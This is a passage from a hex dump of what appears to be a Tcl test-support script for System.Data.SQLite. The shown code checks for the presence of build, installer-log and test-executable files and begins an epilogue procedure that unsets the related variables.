76 65 if {![have 24ae0 43 6f 6e 73 74 72 61 69 6e 74 20 5b 61 70 70 65 Constraint [appe 24af0 6e 64 41 72 67 73 20 66 69 6c 65 5f 20 5c 0d 0a ndArgs file_ \.. 24b00 20 20 20 20 20 20 20 20 20 20 20 20 5b 66 69 6c [fil 24b10 65 20 74 61 69 6c 20 24 65 6e 74 69 74 79 46 72 e tail$entityFr 24b20 61 6d 65 77 6f 72 6b 44 6c 6c 46 69 6c 65 5d 5d ameworkDllFile]] 24b30 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 ]} then {.. 24b40 20 20 20 20 20 63 68 65 63 6b 46 6f 72 46 69 6c checkForFil 24b50 65 20 24 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 e $test_channel 24b60 24 65 6e 74 69 74 79 46 72 61 6d 65 77 6f 72 6b$entityFramework 24b70 44 6c 6c 46 69 6c 65 0d 0a 20 20 20 20 20 20 20 DllFile.. 24b80 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 69 66 }.... if 24b90 20 7b 21 5b 68 61 76 65 43 6f 6e 73 74 72 61 69 {![haveConstrai 24ba0 6e 74 20 5b 61 70 70 65 6e 64 41 72 67 73 20 66 nt [appendArgs f 24bb0 69 6c 65 5f 20 5c 0d 0a 20 20 20 20 20 20 20 20 ile_ \.. 24bc0 20 20 20 20 5b 66 69 6c 65 20 74 61 69 6c 20 24 [file tail $24bd0 69 6e 73 74 61 6c 6c 65 72 45 78 65 46 69 6c 65 installerExeFile 24be0 5d 5d 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 ]]]} then {.. 24bf0 20 20 20 20 20 20 20 63 68 65 63 6b 46 6f 72 46 checkForF 24c00 69 6c 65 20 24 74 65 73 74 5f 63 68 61 6e 6e 65 ile$test_channe 24c10 6c 20 24 69 6e 73 74 61 6c 6c 65 72 45 78 65 46 l $installerExeF 24c20 69 6c 65 20 49 6e 73 74 61 6c 6c 65 72 2e 65 78 ile Installer.ex 24c30 65 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a e.. }.... 24c40 20 20 20 20 20 20 20 20 69 66 20 7b 21 5b 68 61 if {![ha 24c50 76 65 43 6f 6e 73 74 72 61 69 6e 74 20 5b 61 70 veConstraint [ap 24c60 70 65 6e 64 41 72 67 73 20 66 69 6c 65 5f 20 5c pendArgs file_ \ 24c70 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 5b 66 .. [f 24c80 69 6c 65 20 74 61 69 6c 20 24 73 71 6c 69 74 65 ile tail$sqlite 24c90 44 65 73 69 67 6e 65 72 44 6c 6c 46 69 6c 65 5d DesignerDllFile] 24ca0 5d 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 ]]} then {.. 24cb0 20 20 20 20 20 20 63 68 65 63 6b 46 6f 72 46 69 checkForFi 24cc0 6c 65 20 24 74 65 73 74 5f 63 68 61 6e 6e 65 6c le $test_channel 24cd0 20 24 73 71 6c 69 74 65 44 65 73 69 67 6e 65 72$sqliteDesigner 24ce0 44 6c 6c 46 69 6c 65 0d 0a 20 20 20 20 20 20 20 DllFile.. 24cf0 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 69 66 }.... if 24d00 20 7b 21 5b 68 61 76 65 43 6f 6e 73 74 72 61 69 {![haveConstrai 24d10 6e 74 20 5b 61 70 70 65 6e 64 41 72 67 73 20 66 nt [appendArgs f 24d20 69 6c 65 5f 20 5c 0d 0a 20 20 20 20 20 20 20 20 ile_ \.. 24d30 20 20 20 20 5b 66 69 6c 65 20 74 61 69 6c 20 24 [file tail $24d40 73 79 73 74 65 6d 44 61 74 61 53 51 4c 69 74 65 systemDataSQLite 24d50 44 6c 6c 46 69 6c 65 5d 5d 5d 7d 20 74 68 65 6e DllFile]]]} then 24d60 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 63 68 {.. ch 24d70 65 63 6b 46 6f 72 46 69 6c 65 20 24 74 65 73 74 eckForFile$test 24d80 5f 63 68 61 6e 6e 65 6c 20 24 73 79 73 74 65 6d _channel $system 24d90 44 61 74 61 53 51 4c 69 74 65 44 6c 6c 46 69 6c DataSQLiteDllFil 24da0 65 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a e.. }.... 24db0 20 20 20 20 20 20 20 20 69 66 20 7b 21 5b 68 61 if {![ha 24dc0 76 65 43 6f 6e 73 74 72 61 69 6e 74 20 5b 61 70 veConstraint [ap 24dd0 70 65 6e 64 41 72 67 73 20 66 69 6c 65 5f 20 5c pendArgs file_ \ 24de0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 5b 66 .. [f 24df0 69 6c 65 20 74 61 69 6c 20 24 73 79 73 74 65 6d ile tail$system 24e00 44 61 74 61 53 51 4c 69 74 65 4c 69 6e 71 44 6c DataSQLiteLinqDl 24e10 6c 46 69 6c 65 5d 5d 5d 7d 20 74 68 65 6e 20 7b lFile]]]} then { 24e20 0d 0a 20 20 20 20 20 20 20 20 20 20 63 68 65 63 .. chec 24e30 6b 46 6f 72 46 69 6c 65 20 24 74 65 73 74 5f 63 kForFile $test_c 24e40 68 61 6e 6e 65 6c 20 24 73 79 73 74 65 6d 44 61 hannel$systemDa 24e50 74 61 53 51 4c 69 74 65 4c 69 6e 71 44 6c 6c 46 taSQLiteLinqDllF 24e60 69 6c 65 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a ile.. }.. 24e70 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 21 5b .. if {![ 24e80 68 61 76 65 43 6f 6e 73 74 72 61 69 6e 74 20 5b haveConstraint [ 24e90 61 70 70 65 6e 64 41 72 67 73 20 66 69 6c 65 5f appendArgs file_ 24ea0 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 24eb0 5b 66 69 6c 65 20 74 61 69 6c 20 24 73 79 73 74 [file tail $syst 24ec0 65 6d 44 61 74 61 53 51 4c 69 74 65 45 66 36 44 emDataSQLiteEf6D 24ed0 6c 6c 46 69 6c 65 5d 5d 5d 7d 20 74 68 65 6e 20 llFile]]]} then 24ee0 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 63 68 65 {.. che 24ef0 63 6b 46 6f 72 46 69 6c 65 20 24 74 65 73 74 5f ckForFile$test_ 24f00 63 68 61 6e 6e 65 6c 20 24 73 79 73 74 65 6d 44 channel $systemD 24f10 61 74 61 53 51 4c 69 74 65 45 66 36 44 6c 6c 46 ataSQLiteEf6DllF 24f20 69 6c 65 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a ile.. }.. 24f30 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 21 5b .. if {![ 24f40 68 61 76 65 43 6f 6e 73 74 72 61 69 6e 74 20 5b haveConstraint [ 24f50 61 70 70 65 6e 64 41 72 67 73 20 66 69 6c 65 5f appendArgs file_ 24f60 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 24f70 5b 66 69 6c 65 20 74 61 69 6c 20 24 74 65 73 74 [file tail$test 24f80 45 78 65 46 69 6c 65 5d 5d 5d 7d 20 74 68 65 6e ExeFile]]]} then 24f90 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 63 68 {.. ch 24fa0 65 63 6b 46 6f 72 46 69 6c 65 20 24 74 65 73 74 eckForFile $test 24fb0 5f 63 68 61 6e 6e 65 6c 20 24 74 65 73 74 45 78 _channel$testEx 24fc0 65 46 69 6c 65 20 74 65 73 74 2e 65 78 65 0d 0a eFile test.exe.. 24fd0 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 }.... 24fe0 20 20 20 20 20 69 66 20 7b 21 5b 68 61 76 65 43 if {![haveC 24ff0 6f 6e 73 74 72 61 69 6e 74 20 5b 61 70 70 65 6e onstraint [appen 25000 64 41 72 67 73 20 66 69 6c 65 5f 20 5c 0d 0a 20 dArgs file_ \.. 25010 20 20 20 20 20 20 20 20 20 20 20 5b 66 69 6c 65 [file 25020 20 74 61 69 6c 20 24 74 65 73 74 4c 69 6e 71 45 tail $testLinqE 25030 78 65 46 69 6c 65 5d 5d 5d 7d 20 74 68 65 6e 20 xeFile]]]} then 25040 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 63 68 65 {.. che 25050 63 6b 46 6f 72 46 69 6c 65 20 24 74 65 73 74 5f ckForFile$test_ 25060 63 68 61 6e 6e 65 6c 20 24 74 65 73 74 4c 69 6e channel $testLin 25070 71 45 78 65 46 69 6c 65 20 74 65 73 74 6c 69 6e qExeFile testlin 25080 71 2e 65 78 65 0d 0a 20 20 20 20 20 20 20 20 7d q.exe.. } 25090 0d 0a 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b .... if { 250a0 21 5b 68 61 76 65 43 6f 6e 73 74 72 61 69 6e 74 ![haveConstraint 250b0 20 5b 61 70 70 65 6e 64 41 72 67 73 20 66 69 6c [appendArgs fil 250c0 65 5f 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 e_ \.. 250d0 20 20 5b 66 69 6c 65 20 74 61 69 6c 20 24 74 65 [file tail$te 250e0 73 74 45 66 36 45 78 65 46 69 6c 65 5d 5d 5d 7d stEf6ExeFile]]]} 250f0 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 25100 20 20 20 63 68 65 63 6b 46 6f 72 46 69 6c 65 20 checkForFile 25110 24 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 24 74 $test_channel$t 25120 65 73 74 45 66 36 45 78 65 46 69 6c 65 20 74 65 estEf6ExeFile te 25130 73 74 65 66 36 2e 65 78 65 0d 0a 20 20 20 20 20 stef6.exe.. 25140 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 }.... 25150 69 66 20 7b 21 5b 68 61 76 65 43 6f 6e 73 74 72 if {![haveConstr 25160 61 69 6e 74 20 5b 61 70 70 65 6e 64 41 72 67 73 aint [appendArgs 25170 20 66 69 6c 65 5f 20 5c 0d 0a 20 20 20 20 20 20 file_ \.. 25180 20 20 20 20 20 20 5b 66 69 6c 65 20 74 61 69 6c [file tail 25190 20 24 74 65 73 74 4c 69 6e 71 4f 75 74 46 69 6c $testLinqOutFil 251a0 65 5d 5d 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 e]]]} then {.. 251b0 20 20 20 20 20 20 20 20 63 68 65 63 6b 46 6f 72 checkFor 251c0 46 69 6c 65 20 24 74 65 73 74 5f 63 68 61 6e 6e File$test_chann 251d0 65 6c 20 24 74 65 73 74 4c 69 6e 71 4f 75 74 46 el $testLinqOutF 251e0 69 6c 65 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a ile.. }.. 251f0 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 21 5b .. if {![ 25200 68 61 76 65 43 6f 6e 73 74 72 61 69 6e 74 20 5b haveConstraint [ 25210 61 70 70 65 6e 64 41 72 67 73 20 66 69 6c 65 5f appendArgs file_ 25220 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 25230 5b 66 69 6c 65 20 74 61 69 6c 20 24 6e 6f 72 74 [file tail$nort 25240 68 77 69 6e 64 45 66 44 62 46 69 6c 65 5d 5d 5d hwindEfDbFile]]] 25250 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 25260 20 20 20 20 63 68 65 63 6b 46 6f 72 46 69 6c 65 checkForFile 25270 20 24 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 24 $test_channel$ 25280 6e 6f 72 74 68 77 69 6e 64 45 66 44 62 46 69 6c northwindEfDbFil 25290 65 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a e.. }.... 252a0 20 20 20 20 20 20 20 20 69 66 20 7b 21 5b 68 61 if {![ha 252b0 76 65 43 6f 6e 73 74 72 61 69 6e 74 20 5b 61 70 veConstraint [ap 252c0 70 65 6e 64 41 72 67 73 20 66 69 6c 65 5f 20 5c pendArgs file_ \ 252d0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 5b 66 .. [f 252e0 69 6c 65 20 74 61 69 6c 20 24 6e 6f 6e 57 61 6c ile tail $nonWal 252f0 44 62 46 69 6c 65 5d 5d 5d 7d 20 74 68 65 6e 20 DbFile]]]} then 25300 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 63 68 65 {.. che 25310 63 6b 46 6f 72 46 69 6c 65 20 24 74 65 73 74 5f ckForFile$test_ 25320 63 68 61 6e 6e 65 6c 20 24 6e 6f 6e 57 61 6c 44 channel $nonWalD 25330 62 46 69 6c 65 0d 0a 20 20 20 20 20 20 20 20 7d bFile.. } 25340 0d 0a 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b .... if { 25350 21 5b 68 61 76 65 43 6f 6e 73 74 72 61 69 6e 74 ![haveConstraint 25360 20 5b 61 70 70 65 6e 64 41 72 67 73 20 66 69 6c [appendArgs fil 25370 65 5f 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 e_ \.. 25380 20 20 5b 66 69 6c 65 20 74 61 69 6c 20 24 77 61 [file tail$wa 25390 6c 44 62 46 69 6c 65 5d 5d 5d 7d 20 74 68 65 6e lDbFile]]]} then 253a0 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 63 68 {.. ch 253b0 65 63 6b 46 6f 72 46 69 6c 65 20 24 74 65 73 74 eckForFile $test 253c0 5f 63 68 61 6e 6e 65 6c 20 24 77 61 6c 44 62 46 _channel$walDbF 253d0 69 6c 65 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a ile.. }.. 253e0 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 21 5b .. if {![ 253f0 68 61 76 65 43 6f 6e 73 74 72 61 69 6e 74 20 5b haveConstraint [ 25400 61 70 70 65 6e 64 41 72 67 73 20 66 69 6c 65 5f appendArgs file_ 25410 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 25420 5b 66 69 6c 65 20 74 61 69 6c 20 24 74 65 73 74 [file tail $test 25430 49 6e 73 74 61 6c 6c 56 73 32 30 30 35 4c 6f 67 InstallVs2005Log 25440 46 69 6c 65 5d 5d 5d 7d 20 74 68 65 6e 20 7b 0d File]]]} then {. 25450 0a 20 20 20 20 20 20 20 20 20 20 63 68 65 63 6b . check 25460 46 6f 72 46 69 6c 65 20 24 74 65 73 74 5f 63 68 ForFile$test_ch 25470 61 6e 6e 65 6c 20 24 74 65 73 74 49 6e 73 74 61 annel $testInsta 25480 6c 6c 56 73 32 30 30 35 4c 6f 67 46 69 6c 65 0d llVs2005LogFile. 25490 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 . }.... 254a0 20 20 20 20 20 20 69 66 20 7b 21 5b 68 61 76 65 if {![have 254b0 43 6f 6e 73 74 72 61 69 6e 74 20 5b 61 70 70 65 Constraint [appe 254c0 6e 64 41 72 67 73 20 66 69 6c 65 5f 20 5c 0d 0a ndArgs file_ \.. 254d0 20 20 20 20 20 20 20 20 20 20 20 20 5b 66 69 6c [fil 254e0 65 20 74 61 69 6c 20 24 74 65 73 74 49 6e 73 74 e tail$testInst 254f0 61 6c 6c 56 73 32 30 30 38 4c 6f 67 46 69 6c 65 allVs2008LogFile 25500 5d 5d 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 ]]]} then {.. 25510 20 20 20 20 20 20 20 63 68 65 63 6b 46 6f 72 46 checkForF 25520 69 6c 65 20 24 74 65 73 74 5f 63 68 61 6e 6e 65 ile $test_channe 25530 6c 20 24 74 65 73 74 49 6e 73 74 61 6c 6c 56 73 l$testInstallVs 25540 32 30 30 38 4c 6f 67 46 69 6c 65 0d 0a 20 20 20 2008LogFile.. 25550 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 }.... 25560 20 20 69 66 20 7b 21 5b 68 61 76 65 43 6f 6e 73 if {![haveCons 25570 74 72 61 69 6e 74 20 5b 61 70 70 65 6e 64 41 72 traint [appendAr 25580 67 73 20 66 69 6c 65 5f 20 5c 0d 0a 20 20 20 20 gs file_ \.. 25590 20 20 20 20 20 20 20 20 5b 66 69 6c 65 20 74 61 [file ta 255a0 69 6c 20 24 74 65 73 74 49 6e 73 74 61 6c 6c 56 il $testInstallV 255b0 73 32 30 31 30 4c 6f 67 46 69 6c 65 5d 5d 5d 7d s2010LogFile]]]} 255c0 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 255d0 20 20 20 63 68 65 63 6b 46 6f 72 46 69 6c 65 20 checkForFile 255e0 24 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 24 74$test_channel $t 255f0 65 73 74 49 6e 73 74 61 6c 6c 56 73 32 30 31 30 estInstallVs2010 25600 4c 6f 67 46 69 6c 65 0d 0a 20 20 20 20 20 20 20 LogFile.. 25610 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 69 66 }.... if 25620 20 7b 21 5b 68 61 76 65 43 6f 6e 73 74 72 61 69 {![haveConstrai 25630 6e 74 20 5b 61 70 70 65 6e 64 41 72 67 73 20 66 nt [appendArgs f 25640 69 6c 65 5f 20 5c 0d 0a 20 20 20 20 20 20 20 20 ile_ \.. 25650 20 20 20 20 5b 66 69 6c 65 20 74 61 69 6c 20 24 [file tail$ 25660 74 65 73 74 49 6e 73 74 61 6c 6c 56 73 32 30 31 testInstallVs201 25670 32 4c 6f 67 46 69 6c 65 5d 5d 5d 7d 20 74 68 65 2LogFile]]]} the 25680 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 63 n {.. c 25690 68 65 63 6b 46 6f 72 46 69 6c 65 20 24 74 65 73 heckForFile $tes 256a0 74 5f 63 68 61 6e 6e 65 6c 20 24 74 65 73 74 49 t_channel$testI 256b0 6e 73 74 61 6c 6c 56 73 32 30 31 32 4c 6f 67 46 nstallVs2012LogF 256c0 69 6c 65 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a ile.. }.. 256d0 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 21 5b .. if {![ 256e0 68 61 76 65 43 6f 6e 73 74 72 61 69 6e 74 20 5b haveConstraint [ 256f0 61 70 70 65 6e 64 41 72 67 73 20 66 69 6c 65 5f appendArgs file_ 25700 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 25710 5b 66 69 6c 65 20 74 61 69 6c 20 24 74 65 73 74 [file tail $test 25720 49 6e 73 74 61 6c 6c 56 73 32 30 31 33 4c 6f 67 InstallVs2013Log 25730 46 69 6c 65 5d 5d 5d 7d 20 74 68 65 6e 20 7b 0d File]]]} then {. 25740 0a 20 20 20 20 20 20 20 20 20 20 63 68 65 63 6b . check 25750 46 6f 72 46 69 6c 65 20 24 74 65 73 74 5f 63 68 ForFile$test_ch 25760 61 6e 6e 65 6c 20 24 74 65 73 74 49 6e 73 74 61 annel $testInsta 25770 6c 6c 56 73 32 30 31 33 4c 6f 67 46 69 6c 65 0d llVs2013LogFile. 25780 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 . }.... 25790 20 20 20 20 20 20 69 66 20 7b 21 5b 68 61 76 65 if {![have 257a0 43 6f 6e 73 74 72 61 69 6e 74 20 5b 61 70 70 65 Constraint [appe 257b0 6e 64 41 72 67 73 20 66 69 6c 65 5f 20 5c 0d 0a ndArgs file_ \.. 257c0 20 20 20 20 20 20 20 20 20 20 20 20 5b 66 69 6c [fil 257d0 65 20 74 61 69 6c 20 24 74 65 73 74 49 6e 73 74 e tail$testInst 257e0 61 6c 6c 56 73 32 30 31 35 4c 6f 67 46 69 6c 65 allVs2015LogFile 257f0 5d 5d 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 ]]]} then {.. 25800 20 20 20 20 20 20 20 63 68 65 63 6b 46 6f 72 46 checkForF 25810 69 6c 65 20 24 74 65 73 74 5f 63 68 61 6e 6e 65 ile $test_channe 25820 6c 20 24 74 65 73 74 49 6e 73 74 61 6c 6c 56 73 l$testInstallVs 25830 32 30 31 35 4c 6f 67 46 69 6c 65 0d 0a 20 20 20 2015LogFile.. 25840 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 }.... 25850 20 20 69 66 20 7b 21 5b 68 61 76 65 43 6f 6e 73 if {![haveCons 25860 74 72 61 69 6e 74 20 5b 61 70 70 65 6e 64 41 72 traint [appendAr 25870 67 73 20 66 69 6c 65 5f 20 5c 0d 0a 20 20 20 20 gs file_ \.. 25880 20 20 20 20 20 20 20 20 5b 66 69 6c 65 20 74 61 [file ta 25890 69 6c 20 24 74 65 73 74 55 6e 69 6e 73 74 61 6c il $testUninstal 258a0 6c 56 73 32 30 30 35 4c 6f 67 46 69 6c 65 5d 5d lVs2005LogFile]] 258b0 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 ]} then {.. 258c0 20 20 20 20 20 63 68 65 63 6b 46 6f 72 46 69 6c checkForFil 258d0 65 20 24 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 e$test_channel 258e0 24 74 65 73 74 55 6e 69 6e 73 74 61 6c 6c 56 73 $testUninstallVs 258f0 32 30 30 35 4c 6f 67 46 69 6c 65 0d 0a 20 20 20 2005LogFile.. 25900 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 }.... 25910 20 20 69 66 20 7b 21 5b 68 61 76 65 43 6f 6e 73 if {![haveCons 25920 74 72 61 69 6e 74 20 5b 61 70 70 65 6e 64 41 72 traint [appendAr 25930 67 73 20 66 69 6c 65 5f 20 5c 0d 0a 20 20 20 20 gs file_ \.. 25940 20 20 20 20 20 20 20 20 5b 66 69 6c 65 20 74 61 [file ta 25950 69 6c 20 24 74 65 73 74 55 6e 69 6e 73 74 61 6c il$testUninstal 25960 6c 56 73 32 30 30 38 4c 6f 67 46 69 6c 65 5d 5d lVs2008LogFile]] 25970 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 ]} then {.. 25980 20 20 20 20 20 63 68 65 63 6b 46 6f 72 46 69 6c checkForFil 25990 65 20 24 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 e $test_channel 259a0 24 74 65 73 74 55 6e 69 6e 73 74 61 6c 6c 56 73$testUninstallVs 259b0 32 30 30 38 4c 6f 67 46 69 6c 65 0d 0a 20 20 20 2008LogFile.. 259c0 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 }.... 259d0 20 20 69 66 20 7b 21 5b 68 61 76 65 43 6f 6e 73 if {![haveCons 259e0 74 72 61 69 6e 74 20 5b 61 70 70 65 6e 64 41 72 traint [appendAr 259f0 67 73 20 66 69 6c 65 5f 20 5c 0d 0a 20 20 20 20 gs file_ \.. 25a00 20 20 20 20 20 20 20 20 5b 66 69 6c 65 20 74 61 [file ta 25a10 69 6c 20 24 74 65 73 74 55 6e 69 6e 73 74 61 6c il $testUninstal 25a20 6c 56 73 32 30 31 30 4c 6f 67 46 69 6c 65 5d 5d lVs2010LogFile]] 25a30 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 ]} then {.. 25a40 20 20 20 20 20 63 68 65 63 6b 46 6f 72 46 69 6c checkForFil 25a50 65 20 24 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 e$test_channel 25a60 24 74 65 73 74 55 6e 69 6e 73 74 61 6c 6c 56 73 $testUninstallVs 25a70 32 30 31 30 4c 6f 67 46 69 6c 65 0d 0a 20 20 20 2010LogFile.. 25a80 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 }.... 25a90 20 20 69 66 20 7b 21 5b 68 61 76 65 43 6f 6e 73 if {![haveCons 25aa0 74 72 61 69 6e 74 20 5b 61 70 70 65 6e 64 41 72 traint [appendAr 25ab0 67 73 20 66 69 6c 65 5f 20 5c 0d 0a 20 20 20 20 gs file_ \.. 25ac0 20 20 20 20 20 20 20 20 5b 66 69 6c 65 20 74 61 [file ta 25ad0 69 6c 20 24 74 65 73 74 55 6e 69 6e 73 74 61 6c il$testUninstal 25ae0 6c 56 73 32 30 31 32 4c 6f 67 46 69 6c 65 5d 5d lVs2012LogFile]] 25af0 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 ]} then {.. 25b00 20 20 20 20 20 63 68 65 63 6b 46 6f 72 46 69 6c checkForFil 25b10 65 20 24 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 e $test_channel 25b20 24 74 65 73 74 55 6e 69 6e 73 74 61 6c 6c 56 73$testUninstallVs 25b30 32 30 31 32 4c 6f 67 46 69 6c 65 0d 0a 20 20 20 2012LogFile.. 25b40 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 }.... 25b50 20 20 69 66 20 7b 21 5b 68 61 76 65 43 6f 6e 73 if {![haveCons 25b60 74 72 61 69 6e 74 20 5b 61 70 70 65 6e 64 41 72 traint [appendAr 25b70 67 73 20 66 69 6c 65 5f 20 5c 0d 0a 20 20 20 20 gs file_ \.. 25b80 20 20 20 20 20 20 20 20 5b 66 69 6c 65 20 74 61 [file ta 25b90 69 6c 20 24 74 65 73 74 55 6e 69 6e 73 74 61 6c il $testUninstal 25ba0 6c 56 73 32 30 31 33 4c 6f 67 46 69 6c 65 5d 5d lVs2013LogFile]] 25bb0 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 ]} then {.. 25bc0 20 20 20 20 20 63 68 65 63 6b 46 6f 72 46 69 6c checkForFil 25bd0 65 20 24 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 e$test_channel 25be0 24 74 65 73 74 55 6e 69 6e 73 74 61 6c 6c 56 73 $testUninstallVs 25bf0 32 30 31 33 4c 6f 67 46 69 6c 65 0d 0a 20 20 20 2013LogFile.. 25c00 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 }.... 25c10 20 20 69 66 20 7b 21 5b 68 61 76 65 43 6f 6e 73 if {![haveCons 25c20 74 72 61 69 6e 74 20 5b 61 70 70 65 6e 64 41 72 traint [appendAr 25c30 67 73 20 66 69 6c 65 5f 20 5c 0d 0a 20 20 20 20 gs file_ \.. 25c40 20 20 20 20 20 20 20 20 5b 66 69 6c 65 20 74 61 [file ta 25c50 69 6c 20 24 74 65 73 74 55 6e 69 6e 73 74 61 6c il$testUninstal 25c60 6c 56 73 32 30 31 35 4c 6f 67 46 69 6c 65 5d 5d lVs2015LogFile]] 25c70 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 ]} then {.. 25c80 20 20 20 20 20 63 68 65 63 6b 46 6f 72 46 69 6c checkForFil 25c90 65 20 24 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 e $test_channel 25ca0 24 74 65 73 74 55 6e 69 6e 73 74 61 6c 6c 56 73$testUninstallVs 25cb0 32 30 31 35 4c 6f 67 46 69 6c 65 0d 0a 20 20 20 2015LogFile.. 25cc0 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 7d 0d }.. }. 25cd0 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 . }..... p 25ce0 72 6f 63 20 72 75 6e 53 51 4c 69 74 65 54 65 73 roc runSQLiteTes 25cf0 74 46 69 6c 65 73 45 70 69 6c 6f 67 75 65 20 7b tFilesEpilogue { 25d00 7d 20 7b 0d 0a 20 20 20 20 20 20 75 70 6c 65 76 } {.. uplev 25d10 65 6c 20 31 20 7b 0d 0a 20 20 20 20 20 20 20 20 el 1 {.. 25d20 75 6e 73 65 74 20 2d 6e 6f 63 6f 6d 70 6c 61 69 unset -nocomplai 25d30 6e 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 n \.. 25d40 20 74 65 73 74 55 6e 69 6e 73 74 61 6c 6c 56 73 testUninstallVs 25d50 32 30 31 35 4c 6f 67 46 69 6c 65 20 74 65 73 74 2015LogFile test 25d60 55 6e 69 6e 73 74 61 6c 6c 56 73 32 30 31 33 4c UninstallVs2013L 25d70 6f 67 46 69 6c 65 20 5c 0d 0a 20 20 20 20 20 20 ogFile \.. 25d80 20 20 20 20 20 20 74 65 73 74 55 6e 69 6e 73 74 testUninst 25d90 61 6c 6c 56 73 32 30 31 32 4c 6f 67 46 69 6c 65 allVs2012LogFile 25da0 20 74 65 73 74 55 6e 69 6e 73 74 61 6c 6c 56 73 testUninstallVs 25db0 32 30 31 30 4c 6f 67 46 69 6c 65 20 5c 0d 0a 20 2010LogFile \.. 25dc0 20 20 20 20 20 20 20 20 20 20 20 74 65 73 74 55 testU 25dd0 6e 69 6e 73 74 61 6c 6c 56 73 32 30 30 38 4c 6f ninstallVs2008Lo 25de0 67 46 69 6c 65 20 74 65 73 74 55 6e 69 6e 73 74 gFile testUninst 25df0 61 6c 6c 56 73 32 30 30 35 4c 6f 67 46 69 6c 65 allVs2005LogFile 25e00 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 25e10 74 65 73 74 49 6e 73 74 61 6c 6c 56 73 32 30 31 testInstallVs201 25e20 35 4c 6f 67 46 69 6c 65 20 74 65 73 74 49 6e 73 5LogFile testIns 25e30 74 61 6c 6c 56 73 32 30 31 33 4c 6f 67 46 69 6c tallVs2013LogFil 25e40 65 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 e \.. 25e50 20 74 65 73 74 49 6e 73 74 61 6c 6c 56 73 32 30 testInstallVs20 25e60 31 32 4c 6f 67 46 69 6c 65 20 74 65 73 74 49 6e 12LogFile testIn 25e70 73 74 61 6c 6c 56 73 32 30 31 30 4c 6f 67 46 69 stallVs2010LogFi 25e80 6c 65 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 le \.. 